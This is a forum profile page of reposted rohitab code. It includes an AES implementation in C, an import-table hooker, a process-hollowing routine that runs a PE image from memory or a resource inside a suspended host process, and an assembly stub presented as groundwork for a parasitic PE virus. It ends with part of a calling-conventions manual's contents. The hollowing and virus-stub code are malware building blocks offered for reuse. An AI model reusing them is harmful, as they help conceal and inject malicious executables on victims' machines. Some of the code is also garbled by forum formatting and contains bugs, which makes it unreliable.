-
Posts
18785 -
Joined
-
Last visited
-
Days Won
738
Everything posted by Nytro
-
[h=1][C] AES Implementation[/h]Author: [h=3]X-N2O[/h] I joined all the source inside the code tags. If you wanna use it you have the separate files aes.c, aes.h and main.c inside the zip file. Enjoy. // AES Implementation by X-N2O // Started: 15:41:35 - 18 Nov 2009 // Finished: 20:03:59 - 21 Nov 2009 // Logarithm, S-Box, and RCON tables are not hardcoded // Instead they are generated when the program starts // All of the code below is based from the AES specification // You can find it at <a href="http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf" class="bbc_url" title="External link" rel="nofollow external">http://csrc.nist.gov...97/fips-197.pdf</a> // You may use this code as you wish, but do not remove this comment // This is only a proof of concept, and should not be considered as the most efficient implementation #include <stdlib.h> #include <string.h> #include <stdio.h> #define AES_RPOL 0x011b // reduction polynomial (x^8 + x^4 + x^3 + x + 1) #define AES_GEN 0x03 // gf(2^8) generator (x + 1) #define AES_SBOX_CC 0x63 // S-Box C constant #define KEY_128 (128/8) #define KEY_192 (192/8) #define KEY_256 (256/8) #define aes_mul(a, ((a)&&(?g_aes_ilogt[(g_aes_logt[(a)]+g_aes_logt[(])%0xff]:0) #define aes_inv(a) ((a)?g_aes_ilogt[0xff-g_aes_logt[(a)]]:0) unsigned char g_aes_logt[256], g_aes_ilogt[256]; unsigned char g_aes_sbox[256], g_aes_isbox[256]; typedef struct { unsigned char state[4][4]; int kcol; size_t rounds; unsigned long keysched[0]; } aes_ctx_t; void aes_init(); aes_ctx_t *aes_alloc_ctx(unsigned char *key, size_t keyLen); inline unsigned long aes_subword(unsigned long w); inline unsigned long aes_rotword(unsigned long w); void aes_keyexpansion(aes_ctx_t *ctx); inline unsigned char aes_mul_manual(unsigned char a, unsigned char ; // use aes_mul instead void aes_subbytes(aes_ctx_t *ctx); void aes_shiftrows(aes_ctx_t *ctx); void aes_mixcolumns(aes_ctx_t *ctx); void aes_addroundkey(aes_ctx_t *ctx, int round); void aes_encrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]); void aes_invsubbytes(aes_ctx_t *ctx); void aes_invshiftrows(aes_ctx_t *ctx); void aes_invmixcolumns(aes_ctx_t *ctx); void aes_decrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]); void aes_free_ctx(aes_ctx_t *ctx); void init_aes() { int i; unsigned char gen; // build logarithm table and it's inverse gen = 1; for(i = 0; i < 0xff; i++) { g_aes_logt[gen] = i; g_aes_ilogt[i] = gen; gen = aes_mul_manual(gen, AES_GEN); } // build S-Box and it's inverse for(i = 0; i <= 0xff; i++) { char bi; unsigned char inv = aes_inv(i); g_aes_sbox[i] = 0; for(bi = 0; bi < 8; bi++) { // based on transformation 5.1 // could also be done with a loop based on the matrix g_aes_sbox[i] |= ((inv & (1<<bi)?1:0) ^ (inv & (1 << ((bi+4) & 7))?1:0) ^ (inv & (1 << ((bi+5) & 7))?1:0) ^ (inv & (1 << ((bi+6) & 7))?1:0) ^ (inv & (1 << ((bi+7) & 7))?1:0) ^ (AES_SBOX_CC & (1 << bi)?1:0) ) << bi; } g_aes_isbox[g_aes_sbox[i]] = i; } // warning: quickhack g_aes_sbox[1] = 0x7c; g_aes_isbox[0x7c] = 1; g_aes_isbox[0x63] = 0; } aes_ctx_t *aes_alloc_ctx(unsigned char *key, size_t keyLen) { aes_ctx_t *ctx; size_t rounds; size_t ks_size; switch(keyLen) { case 16: // 128-bit key rounds = 10; break; case 24: // 192-bit key rounds = 12; break; case 32: // 256-bit key rounds = 14; break; defaut: return NULL; } ks_size = 4*(rounds+1)*sizeof(unsigned long); ctx = malloc(sizeof(aes_ctx_t)+ks_size); if(ctx) { ctx->rounds = rounds; ctx->kcol = keyLen/4; memcpy(ctx->keysched, key, keyLen); ctx->keysched[43] = 0; aes_keyexpansion(ctx); } return ctx; } inline unsigned long aes_subword(unsigned long w) { return g_aes_sbox[w & 0x000000ff] | (g_aes_sbox[(w & 0x0000ff00) >> 8] << 8) | (g_aes_sbox[(w & 0x00ff0000) >> 16] << 16) | (g_aes_sbox[(w & 0xff000000) >> 24] << 24); } inline unsigned long aes_rotword(unsigned long w) { // May seem a bit different from the spec // It was changed because unsigned long is represented with little-endian convention on x86 // Should not depend on architecture, but this is only a POC return ((w & 0x000000ff) << 24) | ((w & 0x0000ff00) >> 8) | ((w & 0x00ff0000) >> 8) | ((w & 0xff000000) >> 8); } void aes_keyexpansion(aes_ctx_t *ctx) { unsigned long temp; unsigned long rcon; register int i; rcon = 0x00000001; for(i = ctx->kcol; i < (4*(ctx->rounds+1)); i++) { temp = ctx->keysched[i-1]; if(!(i%ctx->kcol)) { temp = aes_subword(aes_rotword(temp)) ^ rcon; rcon = aes_mul(rcon, 2); } else if(ctx->kcol > 6 && i%ctx->kcol == 4) temp = aes_subword(temp); ctx->keysched[i] = ctx->keysched[i-ctx->kcol] ^ temp; } } inline unsigned char aes_mul_manual(unsigned char a, unsigned char { register unsigned short ac; register unsigned char ret; ac = a; ret = 0; while( { if(b & 0x01) ret ^= ac; ac <<= 1; b >>= 1; if(ac & 0x0100) ac ^= AES_RPOL; } return ret; } void aes_subbytes(aes_ctx_t *ctx) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = g_aes_sbox[ctx->state[x][y]]; } } void aes_shiftrows(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; nstate[x][y] = ctx->state[x][(y+x) & 0x03]; } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_mixcolumns(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 4; i++) { nstate[0][i] = aes_mul(0x02, ctx->state[0][i]) ^ aes_mul(0x03, ctx->state[1][i]) ^ ctx->state[2][i] ^ ctx->state[3][i]; nstate[1][i] = ctx->state[0][i] ^ aes_mul(0x02, ctx->state[1][i]) ^ aes_mul(0x03, ctx->state[2][i]) ^ ctx->state[3][i]; nstate[2][i] = ctx->state[0][i] ^ ctx->state[1][i] ^ aes_mul(0x02, ctx->state[2][i]) ^ aes_mul(0x03, ctx->state[3][i]); nstate[3][i] = aes_mul(0x03, ctx->state[0][i]) ^ ctx->state[1][i] ^ ctx->state[2][i] ^ aes_mul(0x02, ctx->state[3][i]); } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_addroundkey(aes_ctx_t *ctx, int round) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = ctx->state[x][y] ^ ((ctx->keysched[round*4+y] & (0xff << (x*8))) >> (x*8)); } } void aes_encrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]) { int i; // copy input to state for(i = 0; i < 16; i++) ctx->state[i & 0x03][i >> 2] = input[i]; aes_addroundkey(ctx, 0); for(i = 1; i < ctx->rounds; i++) { aes_subbytes(ctx); aes_shiftrows(ctx); aes_mixcolumns(ctx); aes_addroundkey(ctx, i); } aes_subbytes(ctx); aes_shiftrows(ctx); aes_addroundkey(ctx, ctx->rounds); // copy state to output for(i = 0; i < 16; i++) output[i] = ctx->state[i & 0x03][i >> 2]; } void aes_invshiftrows(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; nstate[x][(y+x) & 0x03] = ctx->state[x][y]; } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_invsubbytes(aes_ctx_t *ctx) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = g_aes_isbox[ctx->state[x][y]]; } } void aes_invmixcolumns(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 4; i++) { nstate[0][i] = aes_mul(0x0e, ctx->state[0][i]) ^ aes_mul(0x0b, ctx->state[1][i]) ^ aes_mul(0x0d, ctx->state[2][i]) ^ aes_mul(0x09, ctx->state[3][i]); nstate[1][i] = aes_mul(0x09, ctx->state[0][i]) ^ aes_mul(0x0e, ctx->state[1][i]) ^ aes_mul(0x0b, ctx->state[2][i]) ^ aes_mul(0x0d, ctx->state[3][i]); nstate[2][i] = aes_mul(0x0d, ctx->state[0][i]) ^ aes_mul(0x09, ctx->state[1][i]) ^ aes_mul(0x0e, ctx->state[2][i]) ^ aes_mul(0x0b, ctx->state[3][i]); nstate[3][i] = aes_mul(0x0b, ctx->state[0][i]) ^ aes_mul(0x0d, ctx->state[1][i]) ^ aes_mul(0x09, ctx->state[2][i]) ^ aes_mul(0x0e, ctx->state[3][i]); } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_decrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]) { int i, j; // copy input to state for(i = 0; i < 16; i++) ctx->state[i & 0x03][i >> 2] = input[i]; aes_addroundkey(ctx, ctx->rounds); for(i = ctx->rounds-1; i >= 1; i--) { aes_invshiftrows(ctx); aes_invsubbytes(ctx); aes_addroundkey(ctx, i); aes_invmixcolumns(ctx); } aes_invshiftrows(ctx); aes_invsubbytes(ctx); aes_addroundkey(ctx, 0); // copy state to output for(i = 0; i < 16; i++) output[i] = ctx->state[i & 0x03][i >> 2]; } void aes_free_ctx(aes_ctx_t *ctx) { free(ctx); } int main(int argc, char *argv[]) { unsigned char key[KEY_128] = "uber strong key!"; unsigned char ptext[16] = "Attack at dawn!"; unsigned char ctext[16]; unsigned char decptext[16]; aes_ctx_t *ctx; init_aes(); ctx = aes_alloc_ctx(key, sizeof(key)); if(!ctx) { perror("aes_alloc_ctx"); return EXIT_FAILURE; } aes_encrypt(ctx, ptext, ctext); aes_decrypt(ctx, ctext, decptext); puts(decptext); aes_free_ctx(ctx); return EXIT_SUCCESS; } In the attached zip you will also find the compiled ELF binary. Download: http://www.rohitab.com/discuss/index.php?app=core&module=attach§ion=attach&attach_id=2875 Sursa: [C] AES Implementation - rohitab.com - Forums
-
[C] IAT Hooker ( not the bad kind ) Author: [h=3]Kazan[/h] So basically I got interested in the PE file structure and came up with this, a local function hooker. It basically finds the address of the a function from a specific loaded module and changes the address to a function defined by the user. This is interesting and fun with DLL injections and the like.Plus, it's just one call to the the whole work : FARPROC WINAPI ReplaceIATEntry( HMODULE hModuleHookFrom , const char * szModuleFileName , const char * szFunctionName , FARPROC frNewProc); #include <stdio.h> #include <windows.h> LPVOID IsDosStub(LPVOID Data); FARPROC WINAPI ReplaceIATEntry( HMODULE hModuleHookFrom , const char * szModuleFileName , const char * szFunctionName , FARPROC frNewProc); FARPROC Original_MessageBox=0;/*original address*/ FARPROC MessageBox_B ( HWND h_wind,LPCSTR lp_mess ,LPCSTR lp_cap,UINT i_ses ) { FARPROC a=Original_MessageBox; FARPROC b = a(h_wind, lp_mess,"Hooked etc.",0); /* return Original_MessageBox ( h_wind, lp_mess,"hooked etc.", 0 );*/ return b; } int main() { Original_MessageBox = ReplaceIATEntry(GetModuleHandle(0),"user32.dll","MessageBoxA",MessageBox_; if ( Original_MessageBox != 0 ) MessageBox(0,"Success",0,0); else return GetLastError(); } LPVOID IsDosStub(LPVOID data) { IMAGE_DOS_HEADER*Doshdr=data; if (IsBadReadPtr(Doshdr,sizeof(IMAGE_DOS_HEADER))) return 0; if (Doshdr->e_magic != IMAGE_DOS_SIGNATURE) return 0; return (data +Doshdr->e_lfanew); } FARPROC WINAPI ReplaceIATEntry( HMODULE hModuleHookFrom , const char * szModuleFileName , const char * szFunctionName , FARPROC frNewProc) { FARPROC frOriginalProc ; IMAGE_DOS_HEADER * Doshdr ; IMAGE_NT_HEADERS * ImageNt ; IMAGE_IMPORT_DESCRIPTOR * ImageImpDescriptor ; IMAGE_THUNK_DATA * ImageThunk ; DWORD dwRet , dwOld , dw; BOOLEAN bModuleFound=FALSE; if ( hModuleHookFrom == NULL) return 0; if ( IsBadCodePtr(frNewProc ) ) { #ifdef DEBUG printf("Invalid code pointer %08X\r\n",frNewProc); #endif return 0; } frOriginalProc = GetProcAddress ( GetModuleHandle ( szModuleFileName ) , szFunctionName ); if (!frOriginalProc) { #ifdef DEBUG puts("Function inexistant in module"); #endif return 0; } #ifdef DEBUG printf("Original function address %08X\r\n",frOriginalProc); #endif Doshdr = (unsigned char*)hModuleHookFrom; if ( IsBadReadPtr(Doshdr, sizeof(IMAGE_DOS_HEADER)) ) /* is valid image*/ return 0; ImageNt = IsDosStub(Doshdr); if ( ImageNt == 0 ) return 0; if ( IsBadReadPtr(ImageNt, sizeof(IMAGE_NT_HEADERS)) ) /* is valid image*/ return 0; if ( ImageNt->Signature != IMAGE_NT_SIGNATURE ) return 0; ImageImpDescriptor = (unsigned char*)Doshdr+ImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if (ImageImpDescriptor == 0 ) return 0; while ( ImageImpDescriptor->Name ) { char * szModuleName = (unsigned char*) Doshdr + ImageImpDescriptor->Name; #ifdef DEBUG printf("Current Module : %s\r\n",pszModName ); #endif if ( stricmp(szModuleName, szModuleFileName) == 0 ) { bModuleFound++; break; } ImageImpDescriptor++; } if ( !bModuleFound ) return 0; ImageThunk = (unsigned char*)Doshdr + ImageImpDescriptor->FirstThunk ; while ( ImageThunk->u1.Function ) { #ifdef DEBUG printf(" Current Function address %08X\r\n", ImageThunk->u1.Function ); #endif if ( (unsigned char*)ImageThunk->u1.Function == (unsigned char*)frOriginalProc ) { #ifdef DEBUG printf(" Original function address call found ( %08X ) \r\n" , frOriginalProc ); #endif if (IsBadWritePtr( &ImageThunk->u1.Function, 4) )/*unacceptable if checks are run*/ { dwRet = VirtualProtect( &ImageThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOld ); /*make writable*/ ImageThunk->u1.Function = (DWORD)(unsigned char*)frOriginalProc; dwRet = VirtualProtect( &ImageThunk->u1.Function, 4, dwOld, &dw ); } else ImageThunk->u1.Function = (DWORD)(unsigned char*)frNewProc;/*damn typecasts*/ return frOriginalProc; } ImageThunk++; } return 0; } Sursa: IAT Hooker ( not the bad kind ) - rohitab.com - Forums
-
Dynamic Process Forking of Portable Executable //-------------------------------------------------------- // Dynamic Process Forking of Portable Executable // Author : Vrillon / Venus // Date : 07/14/2008 //-------------------------------------------------------- /*********************************************************/ /* With this header, you can create and run a process */ /* from memory and not from a file. */ /*********************************************************/ #ifdef WIN32 #include <windows.h> #else #error Process Forking Requires a Windows Operating System #endif #include <stdio.h> ///////////////////////////////////////////////////////////// // NtUnmapViewOfSection (ZwUnmapViewOfSection) // Used to unmap a section from a process. typedef long int (__stdcall* NtUnmapViewOfSectionF)(HANDLE,PVOID); NtUnmapViewOfSectionF NtUnmapViewOfSection = (NtUnmapViewOfSectionF)GetProcAddress(LoadLibrary("ntdll.dll"),"NtUnmapViewOfSection"); ///////////////////////////////////////////////////////////// // Fork Process // Dynamically create a process based on the parameter 'lpImage'. The parameter should have the entire // image of a portable executable file from address 0 to the end. bool ForkProcess(LPVOID lpImage) { // Variables for Process Forking long int lWritten; long int lHeaderSize; long int lImageSize; long int lSectionCount; long int lSectionSize; long int lFirstSection; long int lPreviousProtection; long int lJumpSize; bool bReturnValue; LPVOID lpImageMemory; LPVOID lpImageMemoryDummy; IMAGE_DOS_HEADER dsDosHeader; IMAGE_NT_HEADERS ntNtHeader; IMAGE_SECTION_HEADER shSections[512 * 2]; PROCESS_INFORMATION piProcessInformation; STARTUPINFO suStartUpInformation; CONTEXT cContext; // Variables for Local Process FILE* fFile; char* pProcessName; long int lFileSize; long int lLocalImageBase; long int lLocalImageSize; LPVOID lpLocalFile; IMAGE_DOS_HEADER dsLocalDosHeader; IMAGE_NT_HEADERS ntLocalNtHeader; ///////////////////////////////////////////////////////////////// // End Variable Definition bReturnValue = false; pProcessName = new char[MAX_PATH]; ZeroMemory(pProcessName,MAX_PATH); // Get the file name for the dummy process if(GetModuleFileName(NULL,pProcessName,MAX_PATH) == 0) { delete [] pProcessName; return bReturnValue; } // Open the dummy process in binary mode fFile = fopen(pProcessName,"rb"); if(!fFile) { delete [] pProcessName; return bReturnValue; } fseek(fFile,0,SEEK_END); // Get file size lFileSize = ftell(fFile); rewind(fFile); // Allocate memory for dummy file lpLocalFile = new LPVOID[lFileSize]; ZeroMemory(lpLocalFile,lFileSize); // Read memory of file fread(lpLocalFile,lFileSize,1,fFile); // Close file fclose(fFile); // Grab the DOS Headers memcpy(&dsLocalDosHeader,lpLocalFile,sizeof(dsLocalDosHeader)); if(dsLocalDosHeader.e_magic != IMAGE_DOS_SIGNATURE) { delete [] pProcessName; delete [] lpLocalFile; return bReturnValue; } // Grab NT Headers memcpy(&ntLocalNtHeader,(LPVOID)((long int)lpLocalFile+dsLocalDosHeader.e_lfanew),sizeof(dsLocalDosHeader)); if(ntLocalNtHeader.Signature != IMAGE_NT_SIGNATURE) { delete [] pProcessName; delete [] lpLocalFile; return bReturnValue; } // Get Size and Image Base lLocalImageBase = ntLocalNtHeader.OptionalHeader.ImageBase; lLocalImageSize = ntLocalNtHeader.OptionalHeader.SizeOfImage; // Deallocate delete [] lpLocalFile; // Grab DOS Header for Forking Process memcpy(&dsDosHeader,lpImage,sizeof(dsDosHeader)); if(dsDosHeader.e_magic != IMAGE_DOS_SIGNATURE) { delete [] pProcessName; return bReturnValue; } // Grab NT Header for Forking Process memcpy(&ntNtHeader,(LPVOID)((long int)lpImage+dsDosHeader.e_lfanew),sizeof(ntNtHeader)); if(ntNtHeader.Signature != IMAGE_NT_SIGNATURE) { delete [] pProcessName; return bReturnValue; } // Get proper sizes lImageSize = ntNtHeader.OptionalHeader.SizeOfImage; lHeaderSize = ntNtHeader.OptionalHeader.SizeOfHeaders; // Allocate memory for image lpImageMemory = new LPVOID[lImageSize]; ZeroMemory(lpImageMemory,lImageSize); lpImageMemoryDummy = lpImageMemory; lFirstSection = (long int)(((long int)lpImage+dsDosHeader.e_lfanew) + sizeof(IMAGE_NT_HEADERS)); memcpy(shSections,(LPVOID)(lFirstSection),sizeof(IMAGE_SECTION_HEADER)*ntNtHeader.FileHeader.NumberOfSections); memcpy(lpImageMemoryDummy,lpImage,lHeaderSize); // Get Section Alignment if((ntNtHeader.OptionalHeader.SizeOfHeaders % ntNtHeader.OptionalHeader.SectionAlignment) == 0) { lJumpSize = ntNtHeader.OptionalHeader.SizeOfHeaders; } else { lJumpSize = (ntNtHeader.OptionalHeader.SizeOfHeaders/ntNtHeader.OptionalHeader.SectionAlignment); lJumpSize += 1; lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment); } lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize); // Copy Sections To Buffer for(lSectionCount = 0; lSectionCount < ntNtHeader.FileHeader.NumberOfSections; lSectionCount++) { lJumpSize = 0; lSectionSize = shSections[lSectionCount].SizeOfRawData; memcpy(lpImageMemoryDummy,(LPVOID)((long int)lpImage + shSections[lSectionCount].PointerToRawData),lSectionSize); if((shSections[lSectionCount].Misc.VirtualSize % ntNtHeader.OptionalHeader.SectionAlignment)==0) { lJumpSize = shSections[lSectionCount].Misc.VirtualSize; } else { lJumpSize = (shSections[lSectionCount].Misc.VirtualSize/ntNtHeader.OptionalHeader.SectionAlignment); lJumpSize += 1; lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment); } lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize); } ZeroMemory(&suStartUpInformation,sizeof(STARTUPINFO)); ZeroMemory(&piProcessInformation,sizeof(PROCESS_INFORMATION)); ZeroMemory(&cContext,sizeof(CONTEXT)); suStartUpInformation.cb = sizeof(suStartUpInformation); // Create Process if(CreateProcess(NULL,pProcessName,NULL,NULL,false,CREATE_SUSPENDED,NULL,NULL,&suStartUpInformation,&piProcessInformation)) { cContext.ContextFlags = CONTEXT_FULL; GetThreadContext(piProcessInformation.hThread,&cContext); // Check image base and image size if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize) { VirtualProtectEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,PAGE_EXECUTE_READWRITE,(unsigned long*)&lPreviousProtection); } else { if(!NtUnmapViewOfSection(piProcessInformation.hProcess,(LPVOID)((DWORD)lLocalImageBase))) VirtualAllocEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); } // Write Image to Process if(WriteProcessMemory(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lpImageMemory,lImageSize,(unsigned long*)&lWritten)) { bReturnValue = true; } // Set Image Base if(WriteProcessMemory(piProcessInformation.hProcess,(LPVOID)((long int)cContext.Ebx + 8),&ntNtHeader.OptionalHeader.ImageBase,4,(unsigned long*)&lWritten)) { if(bReturnValue == true) bReturnValue = true; } if(bReturnValue == false) { delete [] pProcessName; delete [] lpImageMemory; return bReturnValue; } // Set the new entry point cContext.Eax = ntNtHeader.OptionalHeader.ImageBase + ntNtHeader.OptionalHeader.AddressOfEntryPoint; SetThreadContext(piProcessInformation.hThread,&cContext); if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize) VirtualProtectEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,lPreviousProtection,0); // Resume the process ResumeThread(piProcessInformation.hThread); } delete [] pProcessName; delete [] lpImageMemory; return bReturnValue; } ///////////////////////////////////////////////////////////// // Fork Process From Resource // Dynamically create a process from a resource file. bool ForkProcessFromResource(int iResource,char* pResourceSection) { HGLOBAL hResData; HRSRC hResInfo; LPVOID lpRes; LPVOID lpMemory; long int lSize; HMODULE hModule; bool bReturn; hModule = GetModuleHandle(0); bReturn = false; if(!hModule) return bReturn; hResInfo = FindResource(hModule, MAKEINTRESOURCE(iResource), pResourceSection); if(!hResInfo) { return bReturn; } hResData = LoadResource(hModule, hResInfo); if(!hResData) { return bReturn; } lpRes = LockResource(hResData); if(!lpRes) { FreeResource(hResData); return bReturn; } lSize = SizeofResource(hModule, hResInfo); lpMemory = new LPVOID[lSize]; ZeroMemory(lpMemory,lSize); memcpy (lpMemory, lpRes, lSize); bReturn = ForkProcess(lpMemory); FreeResource(hResData); delete [] lpMemory; return bReturn; } Download: http://pastebin.com/6QXuSsa7 Via: Run from memory - rohitab.com - Forums
-
[h=1]Finding Kernel32 Base and walking its export table[/h]Author: [h=3]SIGSEGV[/h] Hey all , I'll just begin as the title says it all. Only Basic PE-format and assembly knowledge are required. The baby steps of any parasitic PE virus should be Finding the Kernel32 Base in the current process address space , then walking its export table to extract the addresses of all the functions it needs. To find the Kernel base , We'll exploit the fact that the Process Environment Block structure of the current process holds a list of the modules , loaded in the process's address space , in their memory loading order , InMemoryOrderModuleList. In Windows NT , The value at offset 0x30 of the FS segment points to the PEB structure : typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA LoaderData; // The rest of the structure is irrelevant to us } PEB, *PPEB; So , we follow the LoaderData pointer , which takes us to another structure , PEB_LDR_DATA : typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; InMemoryOrderModule is a double linked list and it's what we are interested in , each entry in the list points to an LDR_MODULE structure : typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; //..... } LDR_MODULE, *PLDR_MODULE; This structure holds the base address of it's module ,, Now , from Windows 2000 and up to windows 7 , The third module loaded in memory will always be that kernel32.dll. Putting all into code : mov ebx, [FS : 0x30] ; PEB mov ebx, [ebx + 0x0C] ; PEB->Ldr mov ebx, [ebx + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov ebx, [ebx] ; 2nd Entry mov ebx, [ebx] ; 3rd Entry mov ebx, [ebx + 0x10] ; Third entry's base address (Kernel32.dll) mov [ebp+dwKernelBase] , ebx The following example does the following : Find Kernel32.dll base address Parse it's export tables to locate GetProcAddress Use it to locate LoadLibraryA Use it to Load User32.dll into the current address space Use GetProcAddress to locate MessageBoxA in User32.dll Display a Message box Return to Host. I'm in the middle of my final exams , so I'm afraid I can't explain the example thoroughly , but anyone with basic PE and assembly knowledge should easily grasp it. ; By SIGSEGV [BITS 32] pushad call CodeStart CodeStart: pop ebp sub ebp,CodeStart ; delta offset shit mov ebx, [FS : 0x30] ; get a pointer to the PEB mov ebx, [ebx + 0x0C] ; get PEB->Ldr mov ebx, [ebx + 0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov ebx, [ebx] ; 2nd Entry mov ebx, [ebx] ; 3rd Entry mov ebx, [ebx + 0x10] ; Get Kernel32 Base mov [ebp+dwKernelBase] , ebx add ebx, [ebx+0x3C] ; Start of PE header mov ebx, [ebx+0x78] ; RVA of export dir add ebx, [ebp+dwKernelBase] ; VA of export dir mov [ebp+dwExportDirectory] , ebx lea edx,[ebp+api_GetProcAddress] mov ecx,[ebp+len_GetProcAddress] call GetFunctionAddress mov [ebp+AGetProcAddressA] , eax lea edx,[ebp+api_LoadLibrary] push edx push dword [ebp+dwKernelBase] call eax mov [ebp+ALoadLibraryA] , eax lea edx , [ebp+szUser32] push edx call eax lea edx , [ebp+api_MessageBoxA] push edx push eax mov ebx,[ebp+AGetProcAddressA] call ebx mov [ebp+AMessageBoxAA] , eax push 0 lea edx,[ebp+szTitle] push edx lea edx,[ebp+szMsg] push edx push 0 call eax popad push 0xBBBBBBBB ;OEP retn ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; <<<<< GetFunctionAddress >>>>>> ; ; Extracts Function Address From Export Directory and returns it in eax ; ; Parameters : Function name in edx , Length in ecx ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GetFunctionAddress: push ebx push esi push edi mov esi, [ebp+dwExportDirectory] mov esi, [esi+0x20] ;RVA of ENT add esi, [ebp+dwKernelBase] ;VA of ENT xor ebx,ebx cld looper: inc ebx lodsd add eax , [ebp+dwKernelBase] ;eax now points to the string of a function push esi ;preserve it for the outer loop mov esi,eax mov edi,edx cld push ecx repe cmpsb pop ecx pop esi jne looper dec ebx mov eax,[ebp+dwExportDirectory] mov eax,[eax+0x24] ;RVA of EOT add eax,[ebp+dwKernelBase] ;VA of EOT movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function mov ebx,[ebp+dwExportDirectory] mov ebx,[ebx+0x1C] ;RVA of EAT add ebx,[ebp+dwKernelBase] ;VA of EAT mov ebx,[eax*4+ebx] add ebx,[ebp+dwKernelBase] mov eax,ebx pop edi pop esi pop ebx ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Data Shit ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; szTitle: db "Yo !",0 szMsg: db "GreeTz From SIGSEGV",0 szUser32 db "User32.dll",0 AGetProcAddressA: dd 0 api_GetProcAddress: db "GetProcAddress" len_GetProcAddress: dd $-api_GetProcAddress ALoadLibraryA: dd 0 api_LoadLibrary: db "LoadLibraryA",0 AMessageBoxAA: dd 0 api_MessageBoxA: db "MessageBoxA",0 dwKernelBase: dd 0 dwExportDirectory: dd 0 That's it , but I shall post the complete virus source when i get through my exams. Hope you enjoyed this quick tutorial , any feedback is appreciated. Greets , SIGSEGV. Sursa: [Quick tutorial] Finding Kernel32 Base and walking its export table. - rohitab.com - Forums
-
Calling conventions for different C++ compilers and operating systems By Agner Fog. Copenhagen University College of Engineering. Copyright © 2004 - 2011. Last updated 2011-06-08. Contents 1 Introduction ....................................................................................................................... 3 2 The need for standardization............................................................................................. 5 3 Data representation........................................................................................................... 6 4 Data alignment .................................................................................................................. 8 5 Stack alignment................................................................................................................. 9 6 Register usage................................................................................................................ 10 6.1 Can floating point registers be used in 64-bit Windows? ........................................... 13 6.2 YMM vector registers................................................................................................ 14 6.3 Register usage in kernel code................................................................................... 14 7 Function calling conventions ........................................................................................... 16 7.1 Passing and returning objects................................................................................... 19 7.2 Passing and returning SIMD types............................................................................ 22 8 Name mangling ............................................................................................................... 24 8.1 Microsoft name mangling.......................................................................................... 28 8.2 Borland name mangling ............................................................................................ 33 8.3 Watcom name mangling ........................................................................................... 34 8.4 Gnu2 name mangling................................................................................................ 35 8.5 Gnu3-4 name mangling ............................................................................................ 37 8.6 Intel name mangling for Windows ............................................................................. 39 8.7 Intel name mangling for Linux ................................................................................... 40 8.8 Symantec and Digital Mars name mangling .............................................................. 40 8.9 Codeplay name mangling ......................................................................................... 40 8.10 Other compilers ...................................................................................................... 40 8.11 Turning off name mangling with extern "C" ............................................................. 41 8.12 Conclusion.............................................................................................................. 42 9 Exception handling and stack unwinding ......................................................................... 42 10 Initialization and termination functions........................................................................... 43 11 Virtual tables and runtime type identification.................................................................. 43 12 Communal data............................................................................................................. 44 13 Memory models............................................................................................................. 44 13.1 16-bit memory models ............................................................................................ 44 13.2 32-bit memory models ............................................................................................ 45 13.3 64-bit memory models in Windows ......................................................................... 45 13.4 